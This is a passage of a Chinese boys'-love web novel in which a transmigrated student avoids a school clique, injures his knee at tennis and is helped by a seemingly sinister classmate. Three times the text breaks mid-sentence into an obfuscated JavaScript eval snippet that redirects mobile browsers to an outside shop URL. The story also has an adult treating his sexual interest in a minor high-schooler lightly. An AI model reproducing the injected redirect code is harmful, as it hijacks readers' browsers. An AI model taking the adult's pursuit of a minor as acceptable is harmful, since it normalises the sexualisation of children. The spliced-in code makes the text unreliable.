等他抄完后,外教刚好收卷。 祁扬这才松了口气。 卷子被收走后,祁扬想着说几句感谢的话,却不知道怎么开口。 他犹豫了半天,最后对丁政旸说道:“同学,刚才谢谢你……” 丁政旸正在收拾课本,一边把书往包里放,一边像是没听懂似的,随意地开口: “谢我什么?” 祁扬愣了下,忙说道:“谢、谢谢你愿意给我看题目。” 丁政旸撩了下眼皮子,面无表情地看了祁扬一眼,道: “然后呢?” “……啊?”祁扬愣住。 然后?然后什么? 难不成……丁政旸是在问祁扬要怎么感谢他? 祁扬顿时觉得自己这个猜测很荒谬。 书里,丁政旸是个性格高冷孤僻的人,像头独狼。 要不是今天没位置,他估计都不会坐祁扬旁边。 怎么可能会问祁扬要谢礼。 下课铃在这时响起。 见祁扬怔愣地盯着自己,丁政旸收拾好书包,将祁扬借给他的笔笔盖合好。 随后,他用修长白皙的手指转了转那支笔,忽而抬眼看向祁扬,轻启薄唇吐出三个字: “笔送我。” 说完,丁政旸那双漆黑的眼眸就这样直勾勾地盯着祁扬。 与此同时,他的手指仍在把玩着那支笔。 那支被祁扬咬过无数次笔盖的笔。 祁扬怔住:“……啊?” 他没想到丁政旸会问他要那支已经很旧的笔。 “我说,”丁政旸也不急,难得愿意耐着性子解释,“把这支笔送我,就当谢礼了。” 说着,丁政旸盯着祁扬,冰冷的眼神里多了分难以察觉的征询意味: “行吗?” 祁扬忙说道:“你要是缺笔,我给你支新的吧……” 他只觉得古怪,丁政旸难道看不见这支笔上还有他的咬痕吗? 丁政旸却似乎并不想要别的笔,依旧拿着那支笔,语气淡淡的,却多了份执拗: “可我想要这支。” 祁扬愣了下,眼底闪过一丝诧异。 如果他没听错…… 丁政旸的语气怎么听上去像是在耍性子? 不可能不可能。 丁政旸是头孤僻的狼。 他不可能干这种事的。 但是话又说回来了…… 他惹一头狼干嘛? 如果丁政旸实在想要,那就给他算了。 反正他应该没有和祁扬一样咬笔的习惯。 于是,祁扬也不再犹豫,缓缓开口道:“……你喜欢的话,那就拿走吧。” 丁政旸冷淡地说了声“谢了”,随后将笔放进了上衣口袋,认真地将笔盖别在口袋的边缘处。 这个动作也让祁扬有些诧异,但他旋即想到,或许丁政旸只是喜欢这支笔的款式,所以很想收藏。 这样一解释就通了。 丁政旸站起身,和进来时一样,面无表情地看着祁扬。 祁扬忙站起身给他让道。 丁政旸从祁扬身旁擦身而过,眼睛睨了祁扬一眼,随后便头也不回地走出了教室。 祁扬这才松了口气。 和F4每个人相处,似乎总是会让他的神经高度紧张。 祁扬只希望,今天不要再碰到F4成员了。 与此同时。 汇恒大厦,负二楼停车场内。 季述宇趁着老板在远处打电话的功夫,打开手机看了一眼。 对话框里,刺目的感叹号提醒他,他已经被“sheep”拉黑了。 一阵莫名的烦躁感袭上季述宇的心头。 其实对于和“sheep”聊天这件事,季述宇一开始只当作是个意外。 事情起因是昨天季述宇刷抖音时,刷到了一所高中官方抖音发的照片。 他本想滑走,却无意间看到了第二张照片。 少年穿着一袭白色的皇马球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029085|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,在场上认真地盯着对手。 配上那张青涩帅气的脸庞,整个人看起来就像是刚学会捕猎、在认真狩猎中的未成年猎豹。 身型颀长、流畅,奔跑的姿势肆意帅气。 只一眼就让季述宇挪不开眼。 他点开评论区,果不其然看到了和他一样感受的网友们。 长得帅并不少见。 但在长得帅的同时,具备少年感、力量感和青涩感于一身,且各种气质杂糅得完美的男生,季述宇是第一次见。 他开始疯狂在评论翻找皇马球衣少年的资料。 功夫不负有心人,季述宇找到了一个名为“sheep”的疑似是少年本人的账号。 点开一看,居然真的有他本人的照片。 是一张对镜自拍。 自拍技术不怎么样,但却依旧帅得惊心动魄。 季述宇立马给“sheep”点了个关注。 当时,他并没有想给“sheep”发消息的冲动,毕竟“sheep”看上去就是个未成年的高中生。 就算再喜欢,季述宇也保持着最后的理智。 事情的转折发生在昨晚的饭局。 作为陆铭承的保镖兼半个生活助理,季述宇有替陆铭承挡酒的义务,因此喝了不少酒。 当晚回到家,季述宇已经醉得不行。 他躺在自家空荡荡的单身公寓里,不知道是因为一个人住太久了,还是什么别的原因,在酒精的作用下,他竟然给“sheep”发去了那样的消息。 季述宇也是醒来后才发现自己对着一个高中生喊了“爸爸”。 一时间,季述宇懊恼不已。 他一直知道自己是gay,也知道自己是1m。 但他从来没有让其他人知道过这个秘密。 没想到,第一次刷到祁扬照片,竟然就让他暴露了自己内心深处的真实想法…… 再后来发生的事,纯属季述宇破罐子破摔了。 反正“sheep”肯定觉得他是变态了,索性就当个变态好了。 要是真能买到“sheep”的袜子…… 血赚。 但事与愿违,“sheep”还是把季述宇给拉黑了。 正在这时,打完电话的陆铭承骂骂咧咧地回到车旁,嘴里还在抱怨他那两个偏心的父母。 “分不动产和股权给那小子还不够,还想动我的管理权……”陆铭承说话的语气简直是咬牙切齿,“我是我爸捡来的吗?!早晚有一天我要抓到陆渊那小子的把柄!” 季述宇迅速收起手机,不敢参与这个话题的讨论。 陆铭承踹了脚车门,凶巴巴地冲季述宇道:“上车!” 上车后,陆铭承的情绪平静了几分,看着开车的季述宇,突然说道:“怎么了,刚看你拿着手机,脸臭得跟什么似的,让人小姑娘甩了?” 季述宇抿了抿唇,没有说话。 陆铭承正在气头上,说话也没轻重:“你这闷葫芦性格,被小姑娘甩也正常。” 说着,陆铭承又挑了下眉,开季述宇玩笑:“要是真被甩了,说出来让我开心开心。” “没有,”季述宇眼神暗了暗,开口道,“只是他不理我了。” 陆铭承被季述宇颓得像是让人揍了的语气逗乐了:“哟,什么样的小姑娘啊,给我看看照片来,能把你迷成这样……” 季述宇皱了皱眉。 他像是终于忍不住了似的,突然开口: “不是小姑娘。” 陆铭承一瞬间愣住:“啥?” “我说,”季述宇抿了抿唇,一字一句地说道,“不是小姑娘。” 陆铭承盯着季述宇认真的表情,突然像是意识到了什么,在副驾驶上一拍大腿: “我靠!老子早怀疑你是gay了!” 陆铭承语气变得有些激动,哪里还有刚和家里人吵完架的样子: “长这么帅,一米九的大高个,八块腹肌,这硬件都快赶上我了,结果来公司半年,愣是连个暧昧对象都没有……” “我就说哪里不对劲呢!” 季述宇:“……” 陆铭承朝季述宇抬了抬下巴,“啧”了一声,颇有兴趣地问:“男生也没事,我又不是那种老古董,不过话说回来,你还是得把照片给我看看。” 季述宇沉默不语,半晌后道:“算了,他应该跟你一样,是个直男。” “……靠,”陆铭承差点给季述宇一句话给干沉默了,“这直男是有多大魅力啊,能让你魂不守舍成这样?” 季述宇没有回答。 他越是这样,陆铭承反倒越是对这个直男好奇。 到底是何方神圣,能把他的保镖迷成这样? 8. 第八章 下午,体育课。 祁扬换上衣服,带上网球包,前往网球场。 祁扬之所以体育课选择网球,是因为在原著里,这项运动没有出现过。 他选了网球,在课上碰到F4的概率就会大大减少。 今天是祁扬第一节网球课,学校很大,他对着手机上的地图找了一会儿,才找到网球场的入口。 圣海作为一所贵族学校,网球场比祁扬想象中的还多。 除了基础的硬地网球场之外,还有红土和草地的。 今天上课的地点在硬地球场。 祁扬刚走进网球场,就看到不少学生已经在对拉了。 网球这项运动,对于大部分普通学校的学生而言,是一项遥远的运动。 但在圣海,几乎人人都会打。 至少,祁扬目光所及之处,就没有人不会握拍的。 祁扬上辈子虽然不是网球运动员,但也是个爱好者,在业余选手里水平不算低。 他走到角落,放下网球包,拿出球拍,正准备找个人对拉热身,却意外看到了一个让他惊讶的身影。 一名穿着紫色运动短袖和短裤的男生走进了网球场。 他个子高挑,手长腿长,手臂和小腿上有明显的肌肉线条,显然是长期运动的成果。 他的头发打理得精致,很明显是自己有特地抓过的,露出一张五官立体的帅气面庞。 最显眼的,是他耳朵上的两枚黑色耳钉。 男生一走进网球场,全场的目光都不自觉地往他那边看了一眼。 黑色耳钉男生随意地往祁扬那边扫了眼。 祁扬的心跳莫名地漏了半拍。 ……妈的。 祁扬实在是没忍住,在心里爆了句粗口。 他刚许完不要再遇到F4的愿望,就在体育课遇到了F4。 人在极度无语的时候甚至有点想笑。 他这是在短短二十四小时内,把除了陆渊之外的另外三个F4成员,全部偶遇了个遍? ……不,甚至不是偶遇。 他很有可能以后要和F4们一起上课了。 F4一走进球场,就有不少学生和他打招呼,他都微笑着回应。 和F4其他三人不同,作为F4的第四人,向睿珩的性格阳光开朗,是他们中看起来最好相处的成员。 但熟悉《圣海之渊》的祁扬却并不这么想。 在祁扬看来,向睿珩简直是全书最可怕的攻,没有之一。 陆渊虽说性子矜傲,但好歹在主角受面前会流露出深情温柔的一面。 蒋虎看着慵懒又危险,实际上也常常懒得和得罪他的人计较。 丁政旸确实武力值高,不过只要不和他作对就没什么事。 唯独向睿珩…… 表面看着阳光开朗,实际上是个彻头彻尾的变态。 想起向睿珩在书里的所作所为,祁扬不由得打了个寒颤。 大白天的,头上还有大太阳,祁扬却莫名觉得一阵湿冷。 无论如何,他得离向睿珩远一点…… 事实上,祁扬穿书这一年的时间里,最害怕遇到的人也是向睿珩。 现在和向睿珩选到同一节体育课…… 祁扬心里不由得开始打鼓。 退课的念头从来没有这么强烈过。 还好,向睿珩并不认识祁扬。 他来到球场后,简单热身了一会儿,就拿起球拍找人对拉去了。 祁扬看着在远处球场的向睿珩,悄悄地松了口气。 希望他永远也不要和向睿珩有任何交集。 祁扬这样想着。 上课铃响起后,老师简单地给大家说了点注意事项,第一节课就让大家先自由练习。 老师走后,正好有个场地空着,祁扬找了个同班同学,到那块场地上开始练球。 祁扬很久没打网球了,他花了点时间让手腕适应拍子的重量,随后就开始进入到打球的状态中。 同班同学刚和祁扬打了几个回合,就有点懵了。 不是,这人怎么进步这么快的? 好在,祁扬的同班同学也是练过的,不至于接不住祁扬的球。 祁扬沉浸在和同学练球中,没有注意到,远处的场地上,向睿珩在捡球时,忽然停住了脚步,视线往他这边看了一眼。 远处球场,少年一袭白色球衣,脚下垫着小碎步,眼神紧盯着球来的方向,脚步迅速调整到位。 下一秒,在球还在上升时,少年迎球而上,转体挥拍的姿势又快又准。 少年的球拍击中网球的瞬间,拍头迅速地做了个绕头的动作,发出清脆声响。 光听声音也听得出他打出的球质有多重。 果然,对手在接球的瞬间,哪怕已经用尽全力,还是没能把球回过去,下网了。 向睿珩装作不经意地问朋友:“那人打球挺厉害,你认识不?” 朋友也往祁扬那边看了眼,随后回答:“认识啊,祁扬,谁不认识他。陆渊跟班,踢球贼猛,没想到他还会打网球。” 说着,朋友还小声给向睿珩吐槽道:“昨天A班赢B班那球赛,说是陆渊绝杀,实际上全是他的功劳呢。” 说罢,朋友还“啧”了一声,摇了摇头:“可惜了,给陆渊当跟班,估计以后都不敢自己进球。” F4四人被分在国际班的ABCD四个班,分别是这四个班的“老大”。 各个班的学生为了讨好自己班的“老大”,一般在他们面前都不会说F4其他成员的好话。 比如,向睿珩和他的这位朋友就都是D班的。 他朋友言语间隐隐有些对陆渊霸道性格的嘲讽。 向睿珩看着祁扬的方向,“哦”了一声,不经意地问:“他和陆渊关系很好么?” 朋友被问得有点懵,反应过来后,说道:“靠,向少,你问我干嘛,你和陆渊熟,你应该去问他啊。” F4四人确实是朋友。 至少,表面上是这样。 因此,他也不敢在向睿珩面前讨论太多关于陆渊的事。 向睿珩也没为难他,捡起球,回到球网对面,继续练球。 另一边。 祁扬正在沉浸式打球,他也注意到陪自己打的同学已经大汗淋漓,于是尽量放慢球速,适时的时候还会撩几个月亮球,让他的同学能喘口气。 正当祁扬沉浸在运动带来的多巴胺中时。 一颗网球“嗖”地一声从远处飞来,落到了他的场地里。 随后,在地上蹦了几下,滚到了祁扬的脚边。 祁扬愣了一下,正准备发球的动作停下,弯腰捡起脚边的那颗网球,抬眼看向不远处跑过来捡球的身影。 然而在抬眼的瞬间,祁扬一下子僵住了。 他差点没拿住那颗网球。 “你没事吧?” 向睿珩跑到祁扬面前,没有第一时间问他要那颗网球,而是用关切的眼神看着祁扬。 祁扬怎么都没想到,他都选了个离向睿珩最远的场地的,向睿珩居然还能把网球打过来。 这什么招式,网球王子吗? 祁扬是笑也笑不出来,抿了抿唇,低声说了句“没事”,伸手想把网球还给向睿珩。 然而向睿珩却没接过那颗球。 他看着祁扬,忽然开口道:“你球打得真好,得有4.0往上了吧?” 向睿珩说的是业余网球的分级标准,4.0已经是业余中的中高水平。 祁扬有些诧异,他没想到向睿珩会找他聊这些,于是沉默了片刻后,开口道:“很久没打了,我也不知道现在什么水平。” 祁扬只当向睿珩是一时兴起,刚才可能看他打球看了两眼。 向睿珩恍然大悟地“哦”了一声,说道:“难怪看你一发总是不进,我还想说,你这个底线水平不应该是这个发球水准呢。” 祁扬这下觉得有点不可思议了。 向睿珩能这么准确地分析他打球的优缺点,不像是只看了一两眼的程度。 向睿珩见祁扬表情讶异,笑了笑,解释道:“刚才我朋友说这边有个人打球很帅,我就陪他看了一会儿。” 因为一直等不到向睿珩回来而过来查看情况的向睿珩朋友:“……?” 他瞪着眼睛看了向睿珩一眼。 “噢……”祁扬应了一声,再次试图把球还给向睿珩,“这球你的。” 向睿珩见祁扬没怎么回应他说的话,也不恼。 他接过祁扬递过来的网球,冲祁扬露出一个灿烂的笑容:“谢啦。” 说话间,向睿珩的黑色耳钉在阳光下闪了闪。 祁扬没有把这个小插曲放在心上。 倒是向睿珩的朋友对此很感兴趣。 他小声问向睿珩:“哎,你该不会是想认识祁扬吧?” “不明显吗?”向睿珩挑了下眉。 朋友颇有些看好戏的意思,语气兴奋:“靠,你该不会是想让祁扬给你当跟班吧?也是,有个打球这么厉害的小弟,以后约球随叫随到……” 向睿珩往他脑袋上丢网球。 朋友疼得捂脑袋:“嘶,向少,你打我做什么?” “多嘴。”向睿珩白了他一眼。 另一边,祁扬的同学也忍不住在盘间休息时问他:“你认识向睿珩?” 祁扬摇了摇头:“不认识。” 同学“哦”了一声,随即又像是想到什么,有些奇怪地问:“说起来,你也是陆少的朋友了,怎么F4除了陆少,你一个都不认识啊?” 祁扬愣了一下。 他刚想回答说“没兴趣认识”,却在此刻突然也意识到有点不对劲。 是啊,为什么F4除了陆渊,他一个都不认识? 虽然说他确实刻意避开了F4。 但按照小说设定,F4其他三人应该经常来找陆渊才对。 可是在祁扬的印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029086|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,除了刚穿书的那一个月,他在陆渊身边当跟班时,见过F4其他三人几次,之后基本上就再也没见过了。 奇怪。 难道F4另外三人从那以后再也没找过陆渊? 这不可能。 那就只有一个可能…… 是陆渊故意不想让他看见。 换句话说,陆渊可能专挑祁扬不在的时候和另外三人见面。 但这为什么呢? 祁扬百思不得其解。 “……可能是不凑巧吧。”祁扬思考半天后,只想出这个回答。 同学也没多想,休息结束后,和祁扬继续打球。 天气炎热,两人都出了不少汗。 祁扬本想着再打几盘就结束,去一旁休息,却没想到突然出了意外。 就在祁扬刚把对面的发球接回去,下一秒,一只折了翅膀的小鸟撞进了网球场,落在了祁扬的脚边。 祁扬的动态视力很好,他马上察觉到了那只幼鸟。 可与此同时,他的脚步也即将踩到那只鸟身上。 祁扬被吓一跳,慌忙地躲开地上的幼鸟。 却在躲避的瞬间,脚下一滑,摔倒了。 球场周围响起一阵惊呼声。 众人的视线纷纷投了过来。 球场对面的同学立刻跨过网带,焦急地跑到祁扬身边,关切地问道:“你没事吧,祁扬?” 祁扬疼得额头冒出冷汗,和原本的热汗混在一起,整个人打了个冷颤。 他用球拍撑着地面,直起身。 这时众人才发觉,祁扬的膝盖破了个口子,鲜血直流。 体育老师不在,同学立马和祁扬建议道:“快,我送你去校医院消毒。” “我没事……” 祁扬忍着疼痛,目光落在脚边那只幼鸟身上。 他蹲下身来,小心翼翼地捧起小鸟,在确认它没事后,大大地松了口气。 周围众人顿时反应过来,原来祁扬是为了躲这只受伤的幼鸟,才导致摔倒的。 一时间,众人看他的眼神都多了几分心疼和钦佩。 正当祁扬有些焦急,不知道该如何处理这只受伤的小鸟时。 一道熟悉的声音响起: “我陪你去校医院吧,同学。” 祁扬闻言,心头猛地一跳。 他抬头看向说话的人,好不容易慢下来的心率,瞬间又加快了。 “不、不用了……” 祁扬抿了抿唇,艰涩地开口道。 向睿珩看着眼前的少年,心头浮起一阵异样的感觉。 少年的头发被汗水打湿,身上的球衣被沁成了半透明,黏在他线条紧实的身体上。 甚至能看出腹肌线条。 难怪周围围观的人视线都往祁扬的腹部扫。 少年的膝盖还在流血,那血是鲜红的,在少年白皙的皮肤上竟生出一种…… 美感。 向睿珩不自觉地舔了下干燥的唇。 此时此刻,少年充满了易碎感。 那张打球时聚精会神、意气风发的脸上,现在因为疼痛和担忧而变得煞白。 哪怕已经这样了,他却还捧着手里的那只幼鸟。 向睿珩看着祁扬,缓缓地开口:“校医院的骨科医生我认识,他懂点兽医,能给小鸟包扎。” 祁扬闻言,顿时眼睛亮了一下:“真的吗?” 向睿珩点点头:“骗你是小狗。” 听到向睿珩这么说,祁扬有些意外。 他知道向睿珩在小说里是个彻头彻尾的大变态。 他也知道,向睿珩此刻的阳光和温柔很可能都是装出来的。 但是,为了手中受伤的小鸟,祁扬还是愿意试一试。 于是,祁扬抿了下唇,看着向睿珩,开口道:“那你……能带我去找他吗?” “当然。” 向睿珩连忙热心地帮祁扬捡起地上的网球包,还顺便帮他把球拍和球都收拾好。 随后,向睿珩背着两个硕大的包,站在祁扬身旁,垂眸看着他,抬了抬下巴: “走,我带你去。” 说着,向睿珩便往网球场出口处走去。 祁扬看着向睿珩的背影,心里还是克制不住地生出一丝犹豫。 他真的要跟向睿珩去吗? 万一…… 祁扬的喉结艰难地滚了滚。 这时,祁扬手心的幼鸟忽然动了动,像是感激似的,用脑袋蹭了下祁扬的掌心纹路。 这细微的蠕动带着幼鸟的体温,带给祁扬对于这条小生命最真实的存在感。 ……不管了。 祁扬深吸一口气。 先救好这只小鸟再说。 这时,向睿珩站在网球场门口,回头看向祁扬,关切地问道:“走吗?” “……走。” 祁扬收起脑海中一切关于向睿珩的害怕情绪,抬脚跟着他走出了网球场。 9. 第九章 走在去医务室的路上,祁扬还是有些忐忑不安。 他想了想,还是对走在前面的高个少年开口道:“同学,要不然你告诉我那个医生是谁,我自己去找他吧。” 听到祁扬的话,向睿珩愣了一下。 随后,他顿住脚步,转身看着祁扬,又看了眼他手里捧着的幼鸟,有些为难地开口道: “可以是可以,不过,你又要处理自己的伤口,又要包扎小鸟……” 说着,向睿珩抬眼看着祁扬,声音里多了几分真切的关心和心疼: “你一个人能忙得过来吗?” 祁扬不由得变得犹豫起来。 他现在确实有些自顾不暇,要是向睿珩陪着他,一定能帮他很多。 可是向睿珩的确是个危险人物…… 见祁扬陷入迟疑,向睿珩没有逼他做决定。 向睿珩走到祁扬面前,低头看着他在球场救下的这只小鸟,眼神变得温柔,唇角也止不住地上扬: “还好你救了他,要是换作别人,它可能已经被踩死了。” 向睿珩的话让祁扬的注意力瞬间回到幼鸟身上。 此刻的幼鸟翅膀还是折着的状态,祁扬也不敢再耽搁,当即抿了抿唇,看向向睿珩说道: “你说的对,我一个人来不及,你陪我一起吧。” 向睿珩听到祁扬做出决定,也迅速转变了态度,冲祁扬点点头,语气坚定:“放心,我一定帮你。” 说罢,两人齐心协力,一个捧着幼鸟,一个背着两个硕大的网球包,一路上不停地抄近路,七拐八弯地来到校医院。 一到校医院,向睿珩把网球包丢到一旁,对祁扬说:“你把小鸟给我,我去找医生帮忙,你先把膝盖上的伤口消毒一下。” 祁扬把向睿珩一路上陪着自己的举动看在眼里。 此时此刻,他对向睿珩的害怕和疑虑也少了许多。 “好,”祁扬点点头,对向睿珩说,“你把手给我。” 他还捧着鸟,直到现在都没放下过。 向睿珩双手在裤边擦了擦,略显紧张地伸出双手,做出一个鞠捧的手势,连手指之间都不敢留缝。 他就这样动都不敢动,等着祁扬把幼鸟交给他。 直到祁扬把幼鸟放在他手心里,向睿珩才小心翼翼地捧着鸟,试探着捧到自己的面前,仔细观察着这个小生命。 随后,向睿珩看向祁扬,视线落在他膝盖的伤口上,关切地开口:“那你快去消毒吧,放心,我马上带它去包扎。” “嗯。”祁扬点点头。 最近学校里体育活动多,来校医院处理伤口的人不少。 祁扬还在诊疗室等了一会儿,才等到校医来给他处理伤口。 等待的过程中,祁扬还在想,他是否对F4的偏见太深了点,才导致他一点也不敢信任向睿珩。 结果,向睿珩不仅愿意陪他这个陌生人到医务室,还同意帮他把受伤小鸟送去包扎。 相比之下,衬托他像个以己度人的小人似的。 正当校医观察了祁扬的伤口,去拿消毒水时。 向睿珩的身影出现在门口。 祁扬愣了下,下意识地看向向睿珩空空如也的手,忙着急地问道:“鸟呢?” “在包扎了,”向睿珩忙说道,还拿出手机,把刚才拍的视频给祁扬看,“你看,医生在处理呢。” 祁扬松了口气。 他也是这时才意识到,他似乎对向睿珩的防备太强了一点。 祁扬看着向睿珩手机里的照片,又看了眼向睿珩,心里难免生出几分歉疚感。 虽说在小说里,向睿珩确实是个变态…… 但不管怎么说,那都是向睿珩喜欢上主角受之后才发生的事。 就目前来看,向睿珩似乎只是个热心开朗的好同学。 他总不至于在祁扬面前故意立人设吧? 这样想着,祁扬对向睿珩放下了戒备。 他抿了抿唇,对向睿珩说道:“医生去拿消毒水了,你在旁边等我一会儿吧。” 向睿珩点点头,坐到祁扬旁边的椅子上。 医务室里充斥着消毒水的味道。 当医生拿着消毒工具进来时,祁扬才终于有了一丝紧张感。 他穿书前就是个怕疼的体质,穿书后也没有改变。 甚至,祁扬觉得这具身体比他穿书前还怕疼。 他看了眼医生端进来的金属盘子,上面放着棉花、镊子、双氧水…… 祁扬紧张得咽了口唾沫。 医生带着橡胶手套,开始做准备工作。 期间他让祁扬坐直身体,把受伤的膝盖伸出来。 祁扬坐直后,愈发地紧张起来,放在椅子上的双手忍不住抓着椅子边缘,脚趾也蜷缩起来。 一旁的向睿珩看出祁扬紧张,还主动安慰他:“没事的,疼一下就习惯了。” 但祁扬却并没有因此放松下来。 他也并没有注意到,向睿珩此刻一直注视着他的眼神,比刚才任何时刻都要认真。 “忍一下。”医生带着口罩,温柔地开口道。 这道声音却像是行刑前的宣判。 当他开始给祁扬处理伤口时,棉签上的双氧水一接触到伤口,就像是有无数活跃的气泡,密密麻麻地从伤口里钻出来似的。 哪怕祁扬已经做足了心理准备,仍然克制不住地浑身一颤。 他双手抓着椅子边缘,脚趾用力蜷着,脊背绷紧,因为疼痛和刺激而发出一丝闷哼。 正在这时,一只手忽然抓住了祁扬的右手。 祁扬在剧烈的疼痛中回过神,看向抓他手的人,发现竟然是向睿珩。 向睿珩一脸担心地看着祁扬,随后缓缓地蹲在了祁扬的脚边。 他对祁扬说:“没事,你要是疼,就抓紧我手就行。” 此时此刻,祁扬已经完全对向睿珩放下了戒备。 当疼痛再度传来时,祁扬最后一丝理智被击溃,用力地抓紧了向睿珩宽大的手掌。 向睿珩的手心传来少年炙热的体温,以及巨大的力道。 他却像没察觉到似的,直勾勾地看着少年。 少年穿着一身白色球衣,浑身紧绷着,额前与鼻尖冒出细密的冷汗。 他的全身都在发力,宽松球衣和球裤下,他那一身饱满紧实的薄肌也在此刻变得更明显。 少年的胸膛微微起伏着,压抑着疼痛带来的刺激。 甚至,向睿珩能感受到对方的一丝…… 战栗。 不多时,医生就换下来好多支带血的棉签,丢到了换药盘里。 消毒水的气味混着一丝铁锈味,钻进嗅觉灵敏的向睿珩的鼻腔里。 向睿珩不受控制地盯着那些棉签看了好一会儿,口干舌燥。 消毒终于结束后,祁扬背后已经被冷汗洇透。 他想伸手擦一擦额前的汗,才发觉自己还抓着向睿珩的手。 向睿珩的手掌宽大,手指修长,指节分明,掌心带着薄茧。 祁扬刚才抓着他的手时,心里莫名地多了几分安全感。 此时此刻,祁扬清醒过来,忙松开了向睿珩的手,红着脸说道: “……谢谢你。” “这有啥好谢的,”向睿珩倒是显得很坦荡,看祁扬的眼睛亮亮的,“都是同学。” 祁扬此刻也不再去想小说里那些描述向睿珩如何变态的桥段。 他挠了挠头,对向睿珩说:“今天多亏有你。” 向睿珩的视线却落在祁扬耳朵上,忽然凑近他,笑着说道:“你耳朵好红。” 祁扬愣了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029087|194494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒,向睿珩像是开玩笑似地开口道:“你脸红啥?咱俩不都是男生吗?” 祁扬一听到向睿珩的问题,瞬间脑海警铃大作。 他当然记得自己的任务:要让书中所有人都相信他是直男,避免被卷入这本bl小说的修罗场。 祁扬犹豫了一下,在向睿珩探究的视线里,撇开脑袋,赧然地开口: “……没,就是觉得有点丢脸。” 向睿珩一愣。 祁扬低着头,伸出手指挠了挠脸颊,不好意思地放低了声音:“我从小就很怕疼……” 说着,祁扬还看向向睿珩,像是对这件事很在意似的,对向睿珩嘱咐道:“你不要告诉别人。” 向睿珩听到祁扬的回答,眼底的探究和期待瞬间落空。 “……也是,”向睿珩觉得自己的试探属实有点多余,“你打球这么厉害,居然这么怕疼,说出去确实没人信。” 医生给祁扬包扎好伤口的同时,另一边,受伤的小鸟也被包扎好了。 不知道什么时候,向睿珩还跑出去买了个笼子。 包扎好的小鸟在鸟笼里喝着水,看上去已然无大碍。 祁扬这才松了口气。 向睿珩拎着鸟笼,看向祁扬,突然开口:“你方便养它吗?” 祁扬仔细想了下,发现自己似乎真的不方便养鸟。 家里从来不让养宠物,陆渊又有洁癖,他也不可能养在教室里。 “要是你不方便的话,我可以帮你养一段时间。”向睿珩看着祁扬的表情,主动开口说道。 祁扬也没有别的选择,他只能点了点头:“好,谢谢你。” “都说了,别跟我说谢谢。” 向睿珩用手指逗弄着笼中鸟,鸟似乎还不知道自己进了笼子,开心地回应着他。 “要不然,给它取个名字吧?”向睿珩忽然转头看祁扬,开口道。 祁扬点点头:“好啊,叫什么?” “就叫……”向睿珩露出一抹笑容,虽是在给小鸟取名,视线却一直看着祁扬,“小睿吧。” 祁扬愣住:“小睿?哪个睿?” “就我名字里的……”向睿珩说到这,突然一拍脑袋,笑着说道,“我差点忘了,我还没自我介绍呢。我叫向睿珩。” “向日葵的向,睿智的睿,王行珩。” 祁扬当然知道向睿珩的名字,但他只能装作第一次听见,笑了笑,开口道:“我叫祁扬。” “噢,祁扬,”向睿珩露出恍然大悟的表情,“我听过你的名字。你是A班体育特别好的那个,对不对?” 祁扬眼底闪过诧异,他没想到向睿珩居然会听过他的名字。 不过转念一想,他是陆渊的跟班,向睿珩无意间听说过也是有可能的。 “那好,”向睿珩露出爽朗帅气的笑容,伸出手指,挠了挠小鸟的下巴,开心地对它说道,“以后,祁扬就是小睿的主人了。” 祁扬怔了怔。 他总觉得…… 好像哪里怪怪的。 可是向睿珩从头到尾都表现得很热心,此刻也是一副阳光开朗的模样,祁扬根本就联想不到其它地方去。 向睿珩提着笼子,将它提到祁扬面前,看着祁扬,笑着说: “希望你以后不要忘了小睿。” “当然不会。”祁扬忙答应道。 处理完一人一鸟的伤口后。 祁扬去刷了卡,准备和向睿珩一起离开校医院。 正当祁扬路过刚才消毒时坐过的座位时。 他的视线不自觉地被一旁桌子上的换药盘吸引了几秒。 校医院的护士处理垃圾的速度还挺快呢。 祁扬一边走出医务室,一边这样想着。 刚才盘子里还有好多沾满血的棉签,现在居然全都不见了。